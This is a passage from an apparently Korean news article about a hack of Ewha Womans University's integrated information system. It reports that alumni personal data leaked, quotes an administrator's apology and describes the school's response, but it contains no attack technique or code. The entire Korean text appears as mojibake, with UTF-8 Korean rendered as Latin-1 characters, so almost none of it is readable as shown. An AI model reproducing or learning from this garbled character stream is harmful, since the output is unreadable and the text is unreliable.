์ด์–ด "์กธ์—…์ƒ๋“ค์€ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฅผ ์œ„ํ•ด ์˜์‹ฌ์Šค๋Ÿฌ์šด ์ด๋ฉ”์ผ๊ณผ ๋ฌธ์ž๋ฉ”์‹œ์ง€ ๋˜๋Š” ์ „ํ™”๋ฅผ ํ†ตํ•œ ํ”ผ์‹ฑ ์‹œ๋„์— ์ฃผ์˜ํ•˜์‹œ๊ณ , ๊ฐœ์ธ์ •๋ณด๋กœ ์ถ”์ธก ๊ฐ€๋Šฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์‹œ๋Š” ๊ฒฝ์šฐ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜์‹œ๊ธฐ๋ฅผ ๊ถŒ์žฅ๋“œ๋ฆฐ๋‹ค. ๋™์ฐฝ ์—ฌ๋Ÿฌ๋ถ„๊ป˜ ์‹ฌ๋ ค๋ฅผ ๋ผ์ณ๋“œ๋ ค ์ฃ„์†กํ•˜๋‹ค"๊ณ  ์‚ฌ๊ณผํ–ˆ๋‹ค.

์ดํ™”์—ฌ๋Œ€์—์„œ ์ •๋ณด์นจํ•ด๋Œ€์‘๋‹จ ์œ„์›์žฅ์„ ๋งก๊ณ  ์žˆ๋Š” ์‹ ๊ฒฝ์‹ ์—ฐ๊ตฌ·๋Œ€์™ธ๋ถ€์ด์žฅ์€ 6์ผ ํ•™๊ต ํ™ˆํŽ˜์ด์ง€์— ์˜ฌ๋ฆฐ ์ถ”๊ฐ€ ๊ณต์ง€ ๊ธ€์—์„œ "ํ•™๊ต๋Š” ํ†ตํ•ฉ์ •๋ณด์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋น„์ •์ƒ์ ์ธ ์ ‘๊ทผ ์‹œ๋„๋ฅผ ์ธ์ง€ํ•œ ์งํ›„๋ถ€ํ„ฐ ๋ฉด๋ฐ€ํ•œ ์กฐ์‚ฌ์™€ ๋ณด์•ˆ ๋ถ„์„์„ ์ง„ํ–‰ํ•œ ๊ฒฐ๊ณผ, ํ†ตํ•ฉ์ •๋ณด์‹œ์Šคํ…œ์ด ํ•ดํ‚น ๊ณต๊ฒฉ์„ ๋ฐ›์•„ ์ผ๋ถ€ ์กธ์—…์ƒ ์—ฌ๋Ÿฌ๋ถ„์˜ ๊ฐœ์ธ์ •๋ณด๊ฐ€ ์™ธ๋ถ€์—์„œ ์กฐํšŒ๋œ ์‚ฌ์‹ค์„ ํ™•์ธํ–ˆ๋‹ค"๊ณ  ๋ฐํ˜”๋‹ค.

์‹  ๋ถ€์ด์žฅ์€ "์ง€๋‚œ 3์ผ ๋ถˆ๋ฒ• ์‹œ๋„ ๊ฐ์ง€ ํ›„ ์ฆ‰๊ฐ์ ์œผ๋กœ ๋น„์ •์ƒ์ ์ธ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ–ˆ์œผ๋‚˜, ์•ˆํƒ€๊น๊ฒŒ๋„ ์ง€๋‚œ 5์ผ ์˜ค์ „ 11์‹œ ๊ฒฝ 1982ํ•™๋…„๋„์—์„œ 2002ํ•™๋…„๋„์— ์ž…ํ•™ํ•œ ์กธ์—…์ƒ ์ผ๋ถ€์˜ ์„ฑ๋ช…, ์ฃผ๋ฏผ๋“ฑ๋ก๋ฒˆํ˜ธ, ์—ฐ๋ฝ์ฒ˜, ์ด๋ฉ”์ผ์ฃผ์†Œ, ์ฃผ์†Œ, ํ•™์ ์ •๋ณด ๋“ฑ๊ณผ ์ด๋“ค ์กธ์—…์ƒ ์ผ๋ถ€์˜ ๋ณดํ˜ธ์ž ์ •๋ณด๊ฐ€ ์œ ์ถœ๋œ ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค"๊ณ  ๋ถ€์—ฐํ–ˆ๋‹ค.

์ด์–ด "์œ ์ถœ๋œ ์ •๋ณด์—๋Š” ์„ฑ์ ์ด๋‚˜ ์žฌํ•™์ƒ ๊ด€๋ จ ์ •๋ณด๋Š” ํฌํ•จ๋ผ ์žˆ์ง€ ์•Š๋‹ค"๊ณ  ๋ง๋ถ™์ธ ์‹  ๋ถ€์ด์žฅ์€ "์ด๋ฒˆ ๊ณต๊ฒฉ์€ ๋ณด์•ˆ์‹œ์Šคํ…œ์ด ์‚ฌ์ „์— ๊ฐ์ง€ํ•˜๊ธฐ ์–ด๋ ค์šด ๊ฒƒ์ด์—ˆ์œผ๋‚˜, ๋‹ด๋‹น์ž ๋ชจ๋‹ˆํ„ฐ๋ง์„ ํ†ตํ•ด ์„ ์ œ์ ์œผ๋กœ ์ ‘์†์„ ์ฐจ๋‹จํ•จ์œผ๋กœ์จ ํ”ผํ•ด๋ฅผ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค"๊ณ  ๊ฐ•์กฐํ–ˆ๋‹ค.

์‹  ๋ถ€์ด์žฅ์€ "ํ•™๊ต๋Š” ์‹ ์†ํžˆ ๊ต์œก๋ถ€์™€ ๊ฐœ์ธ์ •๋ณด๋ณดํ˜ธ์œ„์›ํšŒ์— ์‹ ๊ณ ๋ฅผ ์ง„ํ–‰ํ–ˆ๊ณ , ์ถ”๊ฐ€ ํ”ผํ•ด๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋„๋ก ๊ธฐ๊ด€์— ์ ๊ทน ํ˜‘์กฐ ๋ฐ ๋Œ€์‘ํ•˜๊ณ  ์žˆ๋‹ค"๋ฉฐ "ํ˜„์žฌ๊นŒ์ง€ ๋ณธ ์‚ฌ๊ณ ์— ๋”ฐ๋ฅธ ๊ฐœ์ธ์ •๋ณด ์•…์šฉ ์˜์‹ฌ ์‚ฌ๋ก€๋Š” ์—†๋Š” ๊ฒƒ์œผ๋กœ ํŒŒ์•…๋˜๋‚˜, ํ˜น์‹œ ๋ชจ๋ฅผ ํ”ผํ•ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์ถœ์ฒ˜๊ฐ€ ๋ถˆ๋ถ„๋ช…ํ•œ ์ด๋ฉ”์ผ, ๋ฌธ์ž ๋ฐ ์—ฐ๋ฝ ๋“ฑ์„ ์ˆ˜์‹ ํ•˜์‹œ๋Š” ๊ฒฝ์šฐ ๋ฏผ์›์„ผํ„ฐ(02-3277-5501, privacy@ewha.ac.kr)๋กœ ์—ฐ๋ฝ ์ฃผ์‹œ๋ฉด ์„ฑ์‹คํ•˜๊ฒŒ ์ƒ๋‹ดํ•ด ๋“œ๋ฆฌ๋„๋ก ํ•˜๊ฒ ๋‹ค"๊ณ  ๊ณต์ง€ํ–ˆ๋‹ค.

์‹  ๋ถ€์ด์žฅ์€ "์ด์™€ ๊ฐ™์€ ์ผ์ด ๋‹ค์‹œ ์ผ์–ด๋‚˜์ง€ ์•Š๋„๋ก ์‚ฌ๊ณ  ์›์ธ์„ ๋ฉด๋ฐ€ํ•˜๊ฒŒ ๋ถ„์„ํ•ด ์‹œ์Šคํ…œ ์ ๊ฒ€, ๋ณด์•ˆ์‹œ์Šคํ…œ ๊ฐ•ํ™”, ์ฃผ๊ธฐ์ ์ธ ๋ณด์•ˆ์ ๊ฒ€์„ ๊ฐ•ํ™”ํ•˜๊ณ  ์žฌ๋ฐœ๋ฐฉ์ง€ ๋Œ€์ฑ…์„ ์ฒ ์ €ํžˆ ๋งˆ๋ จํ•˜๊ฒ ๋‹ค"๋ฉฐ "์กธ์—…์ƒ ์—ฌ๋Ÿฌ๋ถ„๊ป˜ ์šฐ๋ ค๋ฅผ ๋ผ์ณ๋“œ๋ฆฐ ์  ๋‹ค์‹œ ํ•œ๋ฒˆ ์‚ฌ๊ณผ๋“œ๋ฆฐ๋‹ค"๊ณ  ๋ฐํ˜”๋‹ค.

+ Recent posts